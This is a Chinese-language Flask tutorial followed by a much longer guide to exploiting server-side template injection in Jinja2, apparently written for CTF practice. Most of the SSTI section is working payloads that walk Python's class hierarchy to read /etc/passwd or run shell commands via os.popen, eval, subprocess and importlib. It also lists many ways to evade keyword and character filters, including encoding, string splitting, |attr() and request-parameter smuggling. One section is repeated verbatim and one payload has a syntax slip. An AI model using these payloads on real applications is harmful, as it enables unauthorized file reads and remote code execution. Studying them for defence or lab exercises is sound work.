FLASK框架+SSTI
Flask框架
1.HTML代码插入Flask应用:
原始:
1 | from flask import Flask |
访问:http://127.0.0.1:8080/greet
分开:
将模板文件按如下路径放置:
1 | Apps folder |
使用模板时,视图函数应当返回render_template()
的调用结果。
1 | from flask import Flask, render_template |
模板文件index.html
依赖于变量name
:
1 | <html> |
访问:http://127.0.0.1:8080/hello/alex
2.表单
新建一个模板文件命名为bio_form.html
1 | <!DOCTYPE html> |
视图函数bio_data_form
同时支持POST和GET请求。GET请求将渲染bio_form.html
模板,而POST请求将重定向到showbio
:
1 | @app.route('/form', methods=['POST', 'GET']) |
1 | @app.route('/showbio', methods=['GET']) |
show_bio.html
1 | <!DOCTYPE html> |
SSTI
1.__class__
:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 __class__
是类的一个内置属性,表示类的类型,返回 <type 'type'>
; 也是类的实例的属性,表示实例对象的类。
(类型的符号.__class__
<type '类型'>
)
1 | >>> ''.__class__ |
2.__bases__
:用来查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组(虽然只有一个元素)。注意是直接父类!!!
1 | >>> ().__class__.__bases__ |
获取基类还能用 __mro__
方法,__mro__
方法可以用来获取一个类的调用顺序,比如:
1 | >>> ''.__class__.__mro__ // python2下和python3下不同 |
还可以利用 __base__
方法获取直接基类:
1 | >>> "".__class__.__base__ |
有这些类继承的方法,我们就可以从任何一个变量,回溯到最顶层基类(<class'object'>
)中去
__subclasses__()
:查看当前类的子类组成的列表,即返回基类object的子类。也可以直接用object.__subclasses__()
,会得到和上面一样的结果。
SSTI 的主要目的就是从很多子类中找出可以利用的类(一般是指读写文件或执行命令的类)加以利用。
3.__builtins__
:以一个集合的形式查看其引用,作为默认初始模块出现的,可用于查看当前所有导入的内建函数。
1 | 内建函数 |
4.__globals__
:该方法会以字典的形式返回当前位置的所有全局变量,与 func_globals 等价。该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。
5.__import__()
:该方法用于动态加载类和函数 。如果一个模块经常变化就可以使用 __import__()
来动态载入,就是 import。语法:import__(模块名)
1 | 找到父类<type 'object'> ---> 寻找子类 ---> 找关于命令执行或者文件操作的模块。 |
利用 SSTI 读取文件
Python 2
使用 __subclasses__
方法查看子类的时候,发现可以发现索引号为40指向file类:
1 | (40, <type 'file'>) |
此file类可以直接用来读取文件:
1 | {{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}} |
Python 3
使用file类读取文件的方法仅限于Python 2环境,在Python 3环境中file类已经没有了。我们可以用<class '_frozen_importlib_external.FileLoader'>
这个类去读取文件。
首先编写脚本遍历目标Python环境中 <class '_frozen_importlib_external.FileLoader'>
这个类索引号:
1 | import requests |
payload
1 | {{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd")}} |
利用 SSTI 执行命令
——基本原理就是遍历含有eval函数即os模块的子类,利用这些子类中的eval函数即os模块执行命令。
寻找内建函数 eval 执行命令
首先编写脚本遍历目标Python环境中含有内建函数eval的子类的索引号
1 | import requests |
可以记下几个含有eval函数的类:
- warnings.catch_warnings
- WarningMessage
- codecs.IncrementalEncoder
- codecs.IncrementalDecoder
- codecs.StreamReaderWriter
- os._wrap_close
- reprlib.Repr
- weakref.finalize
- ……
所以payload如下:
1 | {{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} |
寻找 os 模块执行命令
Python的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的,我们可以使用system()函数配合curl外带数据;popen()函数执行命令有回显。所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替。
首先编写脚本遍历目标Python环境中含有os模块的类的索引号
1 | import requests |
随便挑一个类构造payload执行命令即可
1 | {{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}} |
寻找 popen 函数执行命令
编写脚本遍历目标Python环境中含有 popen 函数的类的索引号
直接构造payload即可
1 | {{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}} |
寻找 importlib 类执行命令
Python 中存在 <class '_frozen_importlib.BuiltinImporter'>
类,目的就是提供 Python 中 import 语句的实现(以及 __import__
函数)。我么可以直接利用该类中的load_module将os模块导入,从而使用 os 模块执行命令。
编写脚本遍历目标Python环境中 importlib 类的索引号
1 | import requests |
构造如下payload即可执行命令:
1 | {{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}} |
寻找 linecache 函数执行命令
linecache 这个函数可用于读取任意一个文件的某一行
编写脚本遍历目标Python环境中含有 linecache 这个函数的子类的索引号
1 | import requests |
构造如下payload即可执行命令
1 | {{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}} |
寻找 linecache 函数执行命令
linecache 这个函数可用于读取任意一个文件的某一行
编写脚本遍历目标Python环境中含有 linecache 这个函数的子类的索引号
1 | import requests |
随便挑一个子类构造payload即可
1 | {{[].__class__.__base__.__subclasses__()[168].__init__.__globals__['linecache']['os'].popen('ls /').read()}} |
寻找 subprocess.Popen 类执行命令
可以用 subprocess 这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。
subprocess 意在替代其他几个老的模块或者函数,比如:os.system
、os.popen
等函数
编写脚本遍历目标Python环境中含有 linecache 这个函数的子类的索引号
1 | import requests |
构造如下payload执行命令
1 | {{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}} |
关键字绕过
利用字符串拼接绕过
可以利用“+”进行字符串拼接,绕过关键字过滤,例如:
1 | {{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}} |
只要返回的是字典类型的或是字符串格式的,即payload中引号内的,在调用的时候都可以使用字符串拼接绕过。
利用编码绕过
可以利用对关键字编码的方法,绕过关键字过滤,例如用base64编码绕过:
1 | {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}} |
等同于:
1 | {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} |
可以看到,在payload中,只要是字符串的,即payload中引号内的,都可以用编码绕过。同理还可以进行rot13、16进制编码等。
利用Unicode编码绕过关键字(flask适用)
我们可以利用unicode编码的方法,绕过关键字过滤,例如:
1 | {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}} |
等同于:
1 | {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} |
利用Hex编码绕过关键字
和上面那个一样,只不过将Unicode编码换成了Hex编码,适用于过滤了“u”的情况。
我们可以利用hex编码的方法,绕过关键字过滤,例如:
1 | {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}} |
等同于:
1 | {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} |
利用引号绕过
我们可以利用引号来绕过对关键字的过滤。例如,过滤了flag,那么我们可以用 fl""ag
或 fl''ag
的形式来绕过:
1 | [].__class__.__base__.__subclasses__()[40]("/fl""ag").read() |
再如:
1 | ().__class__.__base__.__subclasses__()[77].__init__.__globals__['o''s'].popen('ls').read() |
可以看到,在payload中,只要是字符串的,即payload中引号内的,都可以用引号绕过。
利用join()函数绕过
我们可以利用join()函数来绕过关键字过滤。例如,题目过滤了flag,那么我们可以用如下方法绕过:
1 | [].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read() |
绕过其他字符
过滤了中括号[ ]
利用 __getitem__()
绕过
可以使用 __getitem__()
方法输出序列属性中的某个索引处的元素,如:
1 | "".__class__.__mro__[2] |
如下示例:
1 | {{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/etc/passwd').read()}} // 指定序列属性 |
利用 pop() 绕过
pop()方法可以返回指定序列属性中的某个索引处的元素或指定字典属性中某个键对应的值,如下示例:
1 | {{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}} // 指定序列属性 |
注意:最好不要用pop(),因为pop()会删除相应位置的值。
利用字典读取绕过
我们知道访问字典里的值有两种方法,一种是把相应的键放入熟悉的方括号 []
里来访问,一种就是用点 .
来访问。所以,当方括号 []
被过滤之后,我们还可以用点 .
的方式来访问,如下示例
1 | // __builtins__.eval() |
等同于:
1 | // [__builtins__]['eval']() |
过滤了引号
利用chr()绕过
先获取chr()函数,赋值给chr,后面再拼接成一个字符串
1 | {% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}} |
等同于
1 | {{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}} |
利用request对象绕过
示例:
1 | {{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd |
等同于:
1 | {{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}} |
如果过滤了args,可以将其中的request.args改为request.values,POST和GET两种方法传递的数据request.values都可以接收。
过滤了下划线__
利用request对象绕过
1 | {{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__ |
等同于:
1 | {{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}} |
过滤了点 .
利用 |attr()
绕过(适用于flask)
如果 .
也被过滤,且目标是JinJa2(flask)的话,可以使用原生JinJa2函数attr()
,即:
1 | ().__class__ => ()|attr("__class__") |
示例:
1 | {{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}} |
等同于:
1 | {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}} |
利用中括号[ ]绕过
如下示例:
1 | {{''['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}} |
等同于:
1 | {{().__class__.__bases__.[0].__subclasses__().[59].__init__['__globals__']['__builtins__'].eval('__import__("os").popen("ls /").read()')}} |
这样的话,那么 __class__
、__bases__
等关键字就成了字符串,就都可以用前面所讲的关键字绕过的姿势进行绕过了。